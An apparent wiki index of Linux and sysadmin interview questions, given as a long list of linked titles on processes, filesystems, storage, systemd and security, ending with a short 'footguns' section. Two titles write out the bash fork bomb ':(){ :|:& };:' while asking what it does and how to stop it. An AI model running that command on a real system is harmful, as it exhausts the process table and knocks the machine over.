* [[Explain each field in the output of `ls -l` command]]
* [[Explain environment variables. How do you list all of them?]]
* [[Explain in a few points the boot process of the Linux system.]]
* [[Explain interrupts and interrupt handlers in Linux.]]
* [[Explain piping. How do you perform piping?]]
* [[Explain the SELinux context format and how type enforcement works in targeted policy.]]
* [[Explain the difference between "Load Average" and "CPU Utilization."]]
* [[Explain the difference between symmetric and asymmetric encryption.]]
* [[Explain the difference between systemd inhibitors, systemd-inhibit, and how to prevent …]]
* [[Explain the difference between ulimit -n and fs.file-max — how do they interact?]]
* [[Explain the differences among the following umask values: 000, 002, 022, 027, 077, and …]]
* [[Explain the exec() system call]]
* [[Explain the file content commands along with the description.]]
* [[Explain the fork() system call]]
* [[Explain the pipe() system call. What does it used for?]]
* [[Explain the purpose of dmesg vs journalctl.]]
* [[Explain what are ACLs. For what use cases would you recommend to use them?]]
* [[Explain what each of the following commands does and give an example on how to use it:]]
* [[Explain what each of the following commands does:]]
* [[Explain what is setgid and setuid]]
* [[Explain what will ls [0-5] match]]
* [[Explain what will ls [XYZ] match]]
* [[File descriptor in Linux/Unix]]
* [[Filesystem reports clean, RAID reports clean, but application data is corrupted. How is…]]
* [[Find all the files which end with '.yml' and replace the number 1 in 2 in each file]]
* [[Find which package owns a file on Linux]]
* [[Find which process is listening on a port]]
* [[Fix the following commands:]]
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
* [[Getting `Too many Open files` error for Postgres. How to resolve it?]]
* [[Give some examples of Linux distribution. What is your favorite distro and why?]]
* [[Hard links vs symbolic links: inode perspective]]
* [[High load average but low CPU usage - why?]]
* [[How `cd -` works? How does it knows the previous location?]]
* [[How a program executes a system call?]]
* [[How a user process performs a privileged operation, such as reading from the disk?]]
* [[How and why Linux daemons drop privileges? Why some daemons need root permissions to st…]]
* [[How can I sync two local directories?]]
* [[How can we modify the network connection via `nmcli` command, to use `8.8.8.8` as a DNS…]]
* [[How can you check what is the path of a certain command?]]
* [[How can you find how much memory a specific process consumes?]]
* [[How can you print information on the BIOS, motherboard, processor and RAM?]]
* [[How can you send an HTTP request from your shell?]]
* [[How can you turn your Linux server into a router?]]
* [[How could you modify a text file without invoking a text editor?]]
* [[How do I grep recursively?]]
* [[How do LVM snapshots work and when would you use them?]]
* [[How do jdupes, fdupes, and rdfind compare for duplicate detection?]]
* [[How do networking stacks differ across Linux distros?]]
* [[How do package management commands differ across distros?]]
* [[How do system log locations differ between Debian and RHEL?]]
* [[How do you analyze a kernel crash dump using the crash utility, and how do you read a b…]]
* [[How do you change file ownership on Linux?]]
* [[How do you change file permissions on Linux?]]
* [[How do you change the owner of a file in Linux?]]
* [[How do you change/set the password of a user?]]
* [[How do you check TCP connection statistics on Linux?]]
* [[How do you check and change the I/O scheduler for a block device, and which scheduler i…]]
* [[How do you check per-process CPU, memory, and I/O usage on Linux?]]
* [[How do you configure PAM to enforce password complexity and lock accounts after failed …]]
* [[How do you configure auditd to monitor changes to critical system files?]]
* [[How do you configure kdump for remote crash dump storage, and what does the dump level …]]
* [[How do you create a custom SELinux policy module to allow a specific denied action?]]
* [[How do you create a filesystem on a partition, and what precaution should you take?]]
* [[How do you create a new resource in Kubernetes?]]
* [[How do you create a private key for a CA (certificate authority)?]]
* [[How do you create a public key for a CA (certificate authority)?]]
* [[How do you create a shortcut for a complex command in Bash?]]
* [[How do you create an empty file or update its timestamp?]]
* [[How do you create users? Where user information is stored?]]
* [[How do you debug a hung process?]]
* [[How do you debug a service that won't start?]]
* [[How do you debug boot failures remotely?]]
* [[How do you determine the appropriate amount of resources (CPU, RAM, storage) for a new …]]
* [[How do you diagnose a hung NFS mount on a Linux client?]]
* [[How do you diagnose a stuck process?]]
* [[How do you diagnose and recover from a full filesystem?]]
* [[How do you display the inode number of a file?]]
* [[How do you ensure a process survives terminal logout?]]
* [[How do you find a text string in files on Linux?]]
* [[How do you find all processes owned by a specific user in Linux?]]
* [[How do you find out what command a running process was started with?]]
* [[How do you find out which Kernel version your system is using?]]
* [[How do you find the UUID of a block device?]]
* [[How do you find the open file descriptors and file descriptor count for a running process?]]
* [[How do you find which directories are consuming the most disk space?]]
* [[How do you find which directory is consuming the most inodes on a filesystem?]]
* [[How do you find which processes are preventing a filesystem from being unmounted?]]
* [[How do you get a list of logged-in users?]]
* [[How do you get help on the command line?]]
* [[How do you handle mixed-distro fleets in Ansible?]]
* [[How do you identify and resolve performance bottlenecks in a data center?]]
* [[How do you implement least privilege in cloud IAM?]]
* [[How do you kill a process in D state?]]
* [[How do you list all files, including hidden ones?]]
* [[How do you list the content of a package without actually installing it?]]
* [[How do you move up one directory level?]]
* [[How do you pass kernel boot parameters?]]
* [[How do you perform server OS installation and configuration?]]
* [[How do you quickly check the status of LVM physical volumes, volume groups, and logical…]]
* [[How do you recover GRUB when the system won't boot?]]
* [[How do you recover a deleted file still held open by a process?]]
* [[How do you recover a system where /etc is filled and / is read-only?]]
* [[How do you recover files from a failed drive using SnapRAID?]]
* [[How do you run command every time a file is modified?]]
* [[How do you safely expand a filesystem online?]]
* [[How do you safely modify vendor unit files?]]
* [[How do you safely update the kernel in production with minimal risk?]]
* [[How do you schedule tasks periodically?]]
* [[How do you search for a specific string within a file?]]
* [[How do you spin down idle drives to save power, and which tools handle it?]]
* [[How do you suspend a running foreground process and then resume it in the background?]]
* [[How do you trace a system call in Linux? Explain the possible methods.]]
* [[How do you trace system calls?]]
* [[How do you troubleshoot a Linux system that's acting slow?]]
* [[How do you view kernel messages with human-readable timestamps and filter for errors?]]
* [[How do you view only the logs for a specific systemd service using journalctl?]]
* [[How do you view the first 10 lines of a file?]]
* [[How do you view the last 10 lines of a file?]]
* [[How do you view the process tree showing parent-child relationships?]]
* [[How does "Sticky Bit" work on a directory?]]
* [[How does CentOS Stream differ from the old CentOS Linux?]]
* [[How does Linux boot, end to end?]]
* [[How does Linux handle deleted-but-open files?]]
* [[How does high `wa` (I/O wait) on a container host relate to container I/O throttling?]]
* [[How does systemd enforce resource limits on services?]]
* [[How does the sticky bit work? The `SUID/GUID` is the same?]]
* [[How is a user’s default group determined? How would you change it?]]
* [[How many parity levels does SnapRAID support, and what does each level provide?]]
* [[How mount a temporary ram partition?]]
* [[How packages installation/removal is performed on the distribution you are using?]]
* [[How the kernel notifies the parent process about child process termination?]]
* [[How the waitpid() is different from wait()?]]
* [[How to add a new user to the system without providing a password?]]
* [[How to add new user without using `useradd`/`adduser` commands?]]
* [[How to change the kernel parameters? What kernel options might you need to tune?]]
* [[How to change the permissions of a file?]]
* [[How to change the priority of a process? Why would you want to do that?]]
* [[How to check if a string contains a substring in Bash?]]
* [[How to check if running as root in a bash script? What should you watch out for?]]
* [[How to check the status of a service?]]
* [[How to check what is the current load average?]]
* [[How to check what is the hostname of the system?]]
* [[How to check whether the private key and the certificate match?]]
* [[How to check which commands you executed in the past?]]
* [[How to count the number of lines in a file? What about words?]]
* [[How to create a file of a certain size?]]
* [[How to create your own environment variables?]]
* [[How to debug binaries?]]
* [[How to enforce authorization methods in SSH? In what situations it would be useful?]]
* [[How to exit without saving shell history?]]
* [[How to extract the content of an archive?]]
* [[How to find files that have been modified on your system in the past 60 minutes?]]
* [[How to find out the dynamic libraries executables loads when run?]]
* [[How to follow file's content as it being appended without opening the file every time?]]
* [[How to generate a random string of 7 characters?]]
* [[How to generate a random string?]]
* [[How to get rid of zombie processes?]]
* [[How to increase the size of LVM partition?]]
* [[How to limit processes to not exceed more than X% of CPU usage?]]
* [[How to link two separate network namespaces so you can ping an interface on one ns from…]]
* [[How to list active connections?]]
* [[How to list all the interfaces?]]
* [[How to list kernel's runtime parameters?]]
* [[How to log all commands run by root on production servers?]]
* [[How to look for a package that provides the command /usr/bin/git? (the package isn't ne…]]
* [[How to make high availability of web application?]]
* [[How to make sure a Service starts automatically after a reboot or crash?]]
* [[How to permanently set `$PATH` on Linux/Unix? Why is this variable so important?]]
* [[How to prevent `dd` from freezing your system?]]
* [[How to print every line that is longer than 79 characters?]]
* [[How to print the 4th column in a file?]]
* [[How to print the shared libraries required by a certain program?]]
* [[How to read a file line by line and assigning the value to a variable?]]
* [[How to recover deleted file held open e.g. by Apache?]]
* [[How to recursively change permissions for all directories except files and for all file…]]
* [[How to redirect stderr and stdout to different files in the same line?]]
* [[How to reload PostgreSQL after configuration changes?]]
* [[How to remove all files except some from a directory?]]
* [[How to rename the name of a file or a directory?]]
* [[How to run a process in the background and why to do that in the first place?]]
* [[How to run script as another user without password?]]
* [[How to see a list of who logged in to the system?]]
* [[How to start or stop a service?]]
* [[How to switch to another user? How to switch to the root user?]]
* [[How to trigger neighbor discovery in IPv6?]]
* [[How would you check what is the size of a certain directory?]]
* [[How would you debug high load average with almost no CPU usage?]]
* [[How would you diagnose a sudden increase in server resource utilization?]]
* [[How would you recognize a process that is hogging resources?]]
* [[How would you split a 50 lines file into 2 files of 25 lines each?]]
* [[How you measure time execution of a program?]]
* [[I have forgotten the root password! What do I do in BSD? What is the purpose of booting…]]
* [[Identifying which process generates the most disk I/O]]
* [[If I plug a new device into a Linux machine, where and how does the detection process s…]]
* [[If a server is "unresponsive" but still pings, what do you suspect?]]
* [[In Linux FHS (Filesystem Hierarchy Standard) what is the /?]]
* [[In what phases of kernel lifecycle, can you change its configuration?]]
* [[In which path can you find the system devices (e.g. block storage)?]]
* [[Is it safe to attach the `strace` to a running process on the production? What are the …]]
* [[Is there a way to allow multiple cross-domains using the Access-Control-Allow-Origin he…]]
* [[Is there a way to redirect output to a file and have it display on stdout?]]
* [[Is there an easy way to search inside 1000s of files in a complex directory structure t…]]
* [[KVM (Kernel-based Virtual Machine)]]
* [[Kernel space vs. user space in Linux]]
* [[Kill a process locking or writing to a file]]
* [[LVM (Logical Volume Manager) in Linux]]
* [[LVM three-layer abstraction: PV → VG → LV]]
* [[Linux OOM killer: scoring, victim selection, and mitigation]]
* [[Linux bridge: Layer 2 virtual switch for network segments]]
* [[Linux capabilities fragment root privileges into granular units]]
* [[Linux distro support lifecycles compared]]
* [[Linux kernel features that enable containers]]
* [[Linux kernel license: GPLv2 only]]
* [[Linux network bonding modes]]
* [[Linux process management system calls]]
* [[Linux system log files and their locations]]
* [[List three ways to print all the files in the current directory]]
* [[Listing currently mounted filesystems (mount, findmnt)]]
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[Magic SysRq and the REISUB emergency reboot sequence]]
* [[Magic SysRq keys for debugging hung Linux systems]]
* [[Many basic maintenance tasks require you to edit config files. Explain ways to undo the…]]
* [[MemFree vs MemAvailable in /proc/meminfo]]
* [[NFS (Network File System)]]
* [[NFS fstab entries require _netdev and nofail flags]]
* [[Name 5 commands which are two letters long]]
* [[Name at least five attributes every Linux process has.]]
* [[Name five SSH hardening settings you should configure in /etc/ssh/sshd_config.]]
* [[Name five important sysctl settings for Linux hardening and explain what they do.]]
* [[Name one reason for fork() to fail]]
* [[OCI specifications define portable container images and execution]]
* [[OOMKill sends SIGKILL (exit code 137)]]
* [[On a system which uses systemd, how would you display the logs?]]
* [[Ordinary users are able to read `/etc/passwd`. Is it a security hole? Do you know other…]]
* [[Other admin trying to debug a server accidentally typed: `chmod -x /bin/chmod`. How to …]]
* [[Present and explain the good ways of using the `kill` command.]]
* [[Process state D means uninterruptible I/O wait — cannot be killed]]
* [[RAID levels: 0, 1, 5, 6, and 10 explained]]
* [[RPM: Explain the .spec format. What should and can it contain?]]
* [[Read-only bind mount requires a two-step setup]]
* [[Recovering from a bad /etc/fstab entry that prevents boot]]
* [[Red Hat family: distros, tooling, and enterprise positioning]]
* [[Rootless containers]]
* [[Rsync triggered Linux OOM killer on a single 50 GB file. How does the OOM killer decide…]]
* [[Running the command as root user. It is a good or bad practices?]]
* [[Running the command df you get "command not found". What could be wrong and how to fix it?]]
* [[SELinux enforcing vs permissive?]]
* [[SELinux vs AppArmor: MAC models compared]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
* [[Server shows high interrupt CPU usage (irq% in top). How do you troubleshoot?]]
* [[Should the root certificate go on the server?]]
* [[Some of the commands in the previous question can be run with the -r/-R flag. What does…]]
* [[Specify which command would you use (and how) for each of the following scenarios]]
* [[Swap usage too high. What are the reasons for this and how to resolve swapping problems?]]
* [[System call (syscall): user-space to kernel interface]]
* [[System freezes for 30-60 seconds randomly. SSH hangs. No kernel panic. Why?]]
* [[Tell me about the dangers and caveats of LVM.]]
* [[Tell me about your Linux experience.]]
* [[Tell me everything you know about the Linux boot process]]
* [[The /proc virtual filesystem]]
* [[The Junior dev accidentally destroyed production database. How can you prevent such sit…]]
* [[The Linux kernel: what it is and how it works]]
* [[The loopback (lo) interface]]
* [[The program returns the error of the missing library. How to provide dynamically linkab…]]
* [[The team of admins needs your support. You must remotely reinstall the system on one of…]]
* [[Three journaling modes in ext3/ext4]]
* [[To LVM or not to LVM. What benefits does it provide?]]
* [[True or False? A successful call to exec() never returns]]
* [[True or False? By default, when creating two separate network namespaces, a ping from o…]]
* [[True or False? Directories always have by minimum 2 links]]
* [[True or False? In a child PID namespace all processes are aware of parent PID namespace…]]
* [[True or False? In every PID (Process ID) namespace the first process assigned with the …]]
* [[True or False? In order to install packages on the system you must have root privileges.]]
* [[True or False? In user space, applications don't have full access to hardware resources]]
* [[True or False? It's not possible to have a root user with ID 0 in child user namespaces]]
* [[True or False? The MAC address of an interface is assigned/set by the OS]]
* [[True or False? The wait() system call won't return until the child process has run and …]]
* [[True or False? With UTS namespaces, processes may appear to have different hostnames.]]
* [[True or False? You can create a soft link between different filesystems.]]
* [[True or False? You can create an hard link for a directory]]
* [[True or False? both /tmp and /var/tmp cleared upon system boot]]
* [[True or False? only root can create files in /proc]]
* [[Use find -delete instead of rm -rf * for millions of files]]
* [[Using a Linux system with a limited number of packages installed, and telnet is not ava…]]
* [[Using sed, extract the date from the following line: 201.7.19.90 - - [05/Jun/1985:13:42…]]
* [[Walk through the Linux Boot Process (High Level).]]
* [[Walk through the Linux boot process.]]
* [[WantedBy vs RequiredBy?]]
* [[What Linux distributions are you familiar with?]]
* [[What RAID levels does Linux software RAID (mdadm) support, and when would you use each?]]
* [[What a double dash (--) mean?]]
* [[What are BorgBackup's key features for data hoarding backups?]]
* [[What are CIS Benchmarks, and what categories do they cover for Linux hardening?]]
* [[What are Machine Check Exceptions (MCEs), and how do you diagnose them?]]
* [[What are cgroups (control groups) and how does Linux use them for resource limits?]]
* [[What are common package name differences between Debian and RHEL?]]
* [[What are hidden files/directories? How to list them?]]
* [[What are packet sniffers? Have you used one in the past? If yes, which packet sniffers …]]
* [[What are salted hashes? Generate the password with salt for the `/etc/shadow` file.]]
* [[What are segmentation faults (segfaults), and how can identify what's causing them?]]
* [[What are soft limits and hard limits?]]
* [[What are the core principles of zero trust security?]]
* [[What are the core tools in the *arr stack and what does each do?]]
* [[What are the different types of kernels? Explain.]]
* [[What are the different ways to send signals to processes, and when would you use each?]]
* [[What are the following commands used for: ip addr, ip route, ip link?]]
* [[What are the key fields in an /etc/fstab entry, and what does a typical line look like?]]
* [[What are the main reasons for keeping old log files?]]
* [[What are the most common Linux hardening mistakes that undermine security?]]
* [[What are the most common ulimit-related production failures, and how do you fix them?]]
* [[What are the phases of incident response?]]
* [[What are the possible states of a process in Linux?]]
* [[What are the pros and cons of ZFS for data hoarding compared to the JBOD+mergerfs+SnapR…]]
* [[What are the steps to add a new drive to an existing data hoarding array?]]
* [[What are the three SELinux modes, and how do you check the current mode?]]
* [[What are wildcards? Can you give an example of how to use them?]]
* [[What are you using for debugging CPU related issues?]]
* [[What are you using for troubleshooting and debugging disk & file system issues?]]
* [[What are you using for troubleshooting and debugging network issues?]]
* [[What are you using for troubleshooting and debugging process issues?]]
* [[What automated provisioning tools do different distro families use?]]
* [[What can be found in /proc/cmdline?]]
* [[What can you do if you lost/forgot the root password?]]
* [[What can you find in /boot?]]
* [[What can you find in /etc/services?]]
* [[What causes high kswapd CPU usage?]]
* [[What causes sudden disk full with "no files"?]]
* [[What command creates a new directory?]]
* [[What command enables a service to start at boot AND starts it immediately in one step?]]
* [[What command finds files by name in a directory tree?]]
* [[What command removes an empty directory?]]
* [[What command shows inode usage per mounted filesystem?]]
* [[What command shows the current directory path?]]
* [[What command would you use to debug slow boot times and identify which units are taking…]]
* [[What commands are you using for performing DNS queries (or troubleshoot DNS related iss…]]
* [[What defines a "senior" Linux engineer?]]
* [[What did Google's study reveal about SMART's ability to predict drive failures?]]
* [[What distros make up the Debian family?]]
* [[What do > and < do in terms of input and output for programs?]]
* [[What do the fields in `ls -al` output mean?]]
* [[What do the three load average numbers represent in Linux (shown by `uptime` or `top`)?]]
* [[What do we grep for in each of the following commands?:]]
* [[What does /proc/<pid>/fd contain and why is it useful?]]
* [[What does Backblaze's public drive data tell us about failure rates?]]
* [[What does CPU jumps mean?]]
* [[What does JBOD stand for, and why do data hoarders prefer it over traditional RAID?]]
* [[What does `LC_ALL=C` before command do? In what cases it will be useful?]]
* [[What does `kill 0` do in Linux process management?]]
* [[What does `snapraid scrub` do and what is the default scrub percentage?]]
* [[What does `snapraid sync` do, and when should you run it?]]
* [[What does cd ~ accomplish?]]
* [[What does chmod 755 filename do?]]
* [[What does execute permission on a directory mean vs on a file?]]
* [[What does high `si` (software interrupts) in `top` indicate on a Kubernetes node, and w…]]
* [[What does high iowait with low disk utilization usually mean?]]
* [[What does it mean when a kernel is "tainted," and why does it matter?]]
* [[What does it mean when the effective user is root, but the real user ID is still your n…]]
* [[What does strace do? What about ltrace?]]
* [[What does tail -f do?]]
* [[What does the /bin directory contain?]]
* [[What does the execve() system call do in Linux?]]
* [[What does the following block do?:]]
* [[What does the following permissions mean?:]]
* [[What does the fork bomb :(){ :|:& };: do and how do you stop it?]]
* [[What does the lsof command do? Have you used it? What for?]]
* [[What does the man command provide?]]
* [[What does the readdir() system call do?]]
* [[What does the sudo command do?]]
* [[What does umask control?]]
* [[What each of the following commands does?]]
* [[What each of the following matches]]
* [[What exactly does the command alias x=y do?]]
* [[What fields are stored in an inode?]]
* [[What happens during fork() vs exec()?]]
* [[What happens if a drive fails to mount before running `snapraid sync`?]]
* [[What happens if an fstab entry lacks the nofail option and the device is unavailable at…]]
* [[What happens when socket system call is used?]]
* [[What happens when you delete the original file in a soft link?]]
* [[What happens when you execute ls -l *.log?]]
* [[What happens when you execute ls -l?]]
* [[What happens when you press ctrl + c?]]
* [[What happens when you run :(){ :|:& };: and why is it dangerous?]]
* [[What if `kill -9` does not work? Describe exceptions for which the use of SIGKILL is in…]]
* [[What information is stored in /etc/passwd? explain each field]]
* [[What is CUPS and how does it handle printing in Linux?]]
* [[What is DNF and what is it used for in Linux package management?]]
* [[What is Kerberos and how does it handle authentication?]]
* [[What is NTP? What is it used for?]]
* [[What is SELinux and how does it enforce mandatory access control?]]
* [[What is SNI (Server Name Indication)?]]
* [[What is SSH port forwarding?]]
* [[What is SSH? How to check if a Linux server is running SSH?]]
* [[What is SnapRAID and how does it differ from real-time RAID?]]
* [[What is SnapRAID split parity (v11.0+) and when would you use it?]]
* [[What is Software-Defined Networking (SDN), and how does it impact data center architect…]]
* [[What is User-mode Linux?]]
* [[What is `grep` command? How to match multiple strings in the same line?]]
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
* [[What is a "Kernel Panic" and how do you debug it post-mortem?]]
* [[What is a CLI? Tell me about your favorite CLI tools, tips, and hacks.]]
* [[What is a D-state (uninterruptible sleep) process, and why can't you kill it?]]
* [[What is a Daemon in Linux?]]
* [[What is a Linux "package manager"?]]
* [[What is a Linux distribution (distro)?]]
* [[What is a Linux kernel module and how do you load a new module?]]
* [[What is a TTY device?]]
* [[What is a kernel, and what does it do?]]
* [[What is a network namespace? What is it used for?]]
* [[What is a process, and how do you list processes in Linux?]]
* [[What is a quick way to check if a process is in uninterruptible sleep (D state) and why…]]
* [[What is a socket in Linux?]]
* [[What is a superuser or root user? How is it different from regular users?]]
* [[What is a swap partition? What is it used for?]]
* [[What is a trap in bash scripting and how is it used for cleanup?]]
* [[What is a virtual IP? In what situation would you use one?]]
* [[What is a zombie/defunct process?]]
* [[What is an archive? How do you create one in Linux?]]
* [[What is an exit code? What exit codes are you familiar with?]]
* [[What is an incremental backup?]]
* [[What is an inode? How to find file's inode number and how can you use it?]]
* [[What is chroot? In what scenarios would you consider using it?]]
* [[What is context switch?]]
* [[What is drive burn-in and why do data hoarders do it before trusting new drives?]]
* [[What is escaping? What escape character is used for?]]
* [[What is firewalld daemon responsible for?]]
* [[What is kdump and how does it capture crash dumps during a kernel panic?]]
* [[What is lazy umount in Linux and when would you use it?]]
* [[What is load average?]]
* [[What is par2 and what problem does it solve?]]
* [[What is rclone's crypt overlay and why is it important for offsite backups?]]
* [[What is shell globbing and how does pattern matching work?]]
* [[What is snapraid-runner and why use it instead of bare cron?]]
* [[What is special about the /tmp directory when compared to other directories?]]
* [[What is stored in each of the following paths?]]
* [[What is stored in ~/.ssh/known_hosts?]]
* [[What is sudo? How do you set it up?]]
* [[What is systemd and how does it manage Linux services?]]
* [[What is telnet and why is it a bad idea to use it in production? (or at all)]]
* [[What is the "Perfect Media Server" stack and who created it?]]
* [[What is the # sign in a shell prompt usually indicative of?]]
* [[What is the .bashrc file?]]
* [[What is the Device Mapper in Linux, and which storage technologies depend on it?]]
* [[What is the OWASP Top 10 and why does it matter for DevOps?]]
* [[What is the UID the root user? What about a regular user?]]
* [[What is the advantage of executing the running processes in the background? How can you…]]
* [[What is the advantage of synchronizing UID/GID across multiple systems?]]
* [[What is the advantage of using /dev/disk/by-id/ instead of /dev/sdX in fstab?]]
* [[What is the circular dependency problem with encryption key storage?]]
* [[What is the correct relationship between SnapRAID parity and backups?]]
* [[What is the difference between /dev/random and /dev/urandom?]]
* [[What is the difference between After=/Before= and Wants=/Requires= in systemd unit files?]]
* [[What is the difference between CPU load and utilization?]]
* [[What is the difference between DAC and MAC?]]
* [[What is the difference between GPT and MBR partition schemes, and which tools manage them?]]
* [[What is the difference between SSH and SSL?]]
* [[What is the difference between Wants= and Requires= in a systemd unit file?]]
* [[What is the difference between `/sbin/nologin`, `/bin/false`, and `/bin/true`?]]
* [[What is the difference between a "Zombie" process and an "Orphan" process?]]
* [[What is the difference between a kernel oops and a kernel panic?]]
* [[What is the difference between a process and a thread?]]
* [[What is the difference between a service failure and a dependency failure?]]
* [[What is the difference between encryption and hashing?]]
* [[What is the difference between find and locate?]]
* [[What is the difference between hard and soft NFS mount options?]]
* [[What is the difference between man and info?]]
* [[What is the difference between paging and swapping?]]
* [[What is the difference between penetration testing and red teaming?]]
* [[What is the difference between rolling release and fixed release distros?]]
* [[What is the difference between single and double quotes?]]
* [[What is the difference between these two commands? Will it result in the same output?]]
* [[What is the easiest, safest and most portable way to remove `-rf` directory entry?]]
* [[What is the file /etc/resolv.conf used for? What does it contain?]]
* [[What is the home directory subdirectory used for?]]
* [[What is the init process?]]
* [[What is the main advantage of using `chroot`? When and why do we use it? What is the pu…]]
* [[What is the main purpose of the intermediate certification authorities?]]
* [[What is the meaning of the error `maxproc limit exceeded by uid %i ...` in FreeBSD?]]
* [[What is the most critical rule about the parity drive in SnapRAID?]]
* [[What is the preferred bash shebang and why? What is the difference between executing a …]]
* [[What is the principle of least privilege?]]
* [[What is the purpose of sticky bit?]]
* [[What is the purpose of the shebang (#!) at the start of a script?]]
* [[What is the result of running the following command? yippiekaiyay 1>&2 die_hard]]
* [[What is the return value of fork()?]]
* [[What is the return value of malloc?]]
* [[What is the routing table? How do you view it?]]
* [[What is the use of ulimit in Unix-like systems?]]
* [[What is this UID 0 toor account? Have I been compromised?]]
* [[What is threat modeling and name a common framework for it.]]
* [[What is umask? How to set it permanently for a user?]]
* [[What is vm.swappiness and how does it control memory management?]]
* [[What is vulnerability scanning and name three common tools.]]
* [[What is your favorite shell and why?]]
* [[What kind of information one can find in /proc?]]
* [[What makes restic different from BorgBackup?]]
* [[What patterns should you grep for in dmesg when troubleshooting hardware or system issues?]]
* [[What question does ss -ltnp answer?]]
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
* [[What signal is used by default when you run 'kill *process id*'?]]
* [[What ssh-keygen is used for?]]
* [[What symbolic representation can you pass to `chmod` to give all users execute access t…]]
* [[What system call is used for listing files?]]
* [[What systemd target replaces traditional runlevel 3, and what does it provide?]]
* [[What the awk command does? Have you used it? What for?]]
* [[What the following commands do?]]
* [[What this command does? chmod +x some_file]]
* [[What time namespaces are used for?]]
* [[What types of namespaces are there in Linux?]]
* [[What types of web servers are you familiar with?]]
* [[What virtualization solutions are available for Linux?]]
* [[What ways are there for creating a new empty file?]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[When should you choose RHEL over Ubuntu?]]
* [[When should you choose Ubuntu LTS over RHEL?]]
* [[When to choose XFS for data drives]]
* [[When would you remount a filesystem read-only on a running system, and how?]]
* [[When you run 'ip a' you see there is a device called 'lo'. What is it?]]
* [[Where are repositories stored (based on the distribution)?]]
* [[Where can you find information on the processor (like number of CPUs)?]]
* [[Where can you find kernel's configuration?]]
* [[Where can you find the file that contains the command passed to the boot loader to run …]]
* [[Where do admin-override unit files live, and why do they take precedence over vendor un…]]
* [[Where is my password stored on Linux/Unix?]]
* [[Which 5 SMART attributes are most important to monitor for drive health?]]
* [[Which algorithms are supported in `/etc/shadow` file?]]
* [[Which file stores information about groups?]]
* [[Which file stores users passwords? Is it visible for everyone?]]
* [[Which line numbers will be printed when running `grep '\baaa\b'` on the following content:]]
* [[Which of the following is not included in inode:]]
* [[Which way of additionally feeding random entropy pool would you suggest for producing r…]]
* [[Why SSH is considered better than telnet?]]
* [[Why are noatime and nofail essential mount options for data hoarding drives?]]
* [[Why are there different sections in man? What is the difference?]]
* [[Why can Btrfs/ZFS still corrupt data even with checksums?]]
* [[Why do /dev/sdX device names change between reboots, and what should you use instead?]]
* [[Why do we need `mktemp` command? Present an example of use.]]
* [[Why do we need package managers? Why not simply creating archives and publish them?]]
* [[Why do we need the wait() system call?]]
* [[Why do we use `sudo su -` and not just `sudo su`?]]
* [[Why does Linux sometimes prefer killing a large cache-heavy process over a memory hog?]]
* [[Why does free not show all available memory as free?]]
* [[Why is "backup on the same drive as source" not actually a backup?]]
* [[Why is ext4 the default filesystem choice for SnapRAID data drives?]]
* [[Why is fsync() one of the most dangerous syscalls?]]
* [[Why must SnapRAID content files be stored on multiple different drives?]]
* [[Why must you run systemctl daemon-reload after manually editing a unit file, and what h…]]
* [[Why running a new program is done using the fork() and exec() system calls? why a diffe…]]
* [[Why should you never use btrfs RAID5 or RAID6 for data you care about?]]
* [[Why should you use UUIDs instead of /dev/sdX device names in /etc/fstab, and how do you…]]
* [[Why would you want to mount servers in a rack?]]
* [[Will running sysctl -a as a regular user vs. root, produce different result?]]
* [[Write two golden rules for reducing the impact of hacked system.]]
* [[You are trying to create a new file but you get "File system is full". You check with d…]]
* [[You define x=2 in /etc/bashrc and x=6 in ~/.bashrc. You then log in. What is the value …]]
* [[You deleted an active log file (e.g. /var/log/apache2/access.log) but didn't restart th…]]
* [[You executed a script and while still running, it got accidentally removed. Is it possi…]]
* [[You found a server with high CPU load but it's not clear which process is causing it. H…]]
* [[You get a call from someone claiming "my system is SLOW". What do you do?]]
* [[You have added several aliases to `.profile`. How to reload shell without exit?]]
* [[You have configured an RSA key login but your server show `Server refused our key` as e…]]
* [[You have the task of sync the testing and production environments. What steps will you …]]
* [[You have to find all files larger than 20MB. How you do it?]]
* [[You know how to see the load average, great. but what each part of it means? for exampl…]]
* [[You must run command that will be performed for a very long time. How to prevent killin…]]
* [[You need to debug a kernel panic that only happens under heavy load. What do you config…]]
* [[You need to replace a failed disk in a Linux software RAID array. What is the general p…]]
* [[You need to upgrade `ntpd` service at 200 servers. What is the best way to go about upg…]]
* [[You run dig codingshell.com and get the following result:]]
* [[You run grep $(whoami) /etc/passwd but the output is empty. What might be a possible re…]]
* [[You run ls and you get "/lib/ld-linux-armhf.so.3 no such file or directory". What is th…]]
* [[You run ssh 127.0.0.1 but it fails with "connection refused". What could be the problem?]]
* [[You run the mount command but you get no output. How would you check what mounts you ha…]]
* [[You see high "iowait" in top. What are your next three steps to identify the culprit?]]
* [[You try to create a file but it fails. Name at least three different reason as to why i…]]
* [[You try to ssh to a server and you get "Host key verification failed". What does it mean?]]
* [[You typing `CTRL + C` but your script still running. How do you stop it?]]
* [[You would like to copy a file to a remote Linux host. How would you do?]]
* [[You would like to enable IPv4 forwarding in the kernel, how would you do it?]]
* [[Your first 5 commands on a *nix server after login.]]
* [[Your friend during configuration of the MySQL server asked you: <i>Should I run `sudo m…]]
* [[`df` vs `du`: filesystem-level vs directory-level disk usage]]
* [[`grub>` vs `grub-rescue>`. Explain.]]
* [[`ls -l` shows file attributes as question marks. What this means and what steps will yo…]]
* [[`rm` vs `rm -rf`: behavior and dangers]]
* [[blkid: display block device attributes (UUID, type, label)]]
* [[cat command: short for concatenate]]
* [[chmod -x /bin/chmod was accidentally run. How do you fix it?]]
* [[ext4 inode count is fixed at mkfs time; XFS allocates dynamically]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
* [[how to list all the processes running in your system?]]
* [[iptables vs nftables - what matters?]]
* [[libvirt: virtualization management API and toolkit]]
* [[ls command: list directory contents]]
* [[lsblk: display block device hierarchy]]
* [[oom_score_adj and Kubernetes QoS determine OOM kill priority]]
* [[sysctl: runtime application and persistence of kernel parameters]]
* [[systemd vs SysVinit - what matters operationally?]]
* [[tmpfs: RAM-backed filesystem — behavior, uses, and limits]]
* [[traceroute: how it works and common usage]]
!! MOC — footguns
Every atom extracted from a ''footgun'' source (21 total).
* [[Deleted open files hold disk space until last fd closes]]
* [[Device name confusion in disk operations causes data loss]]
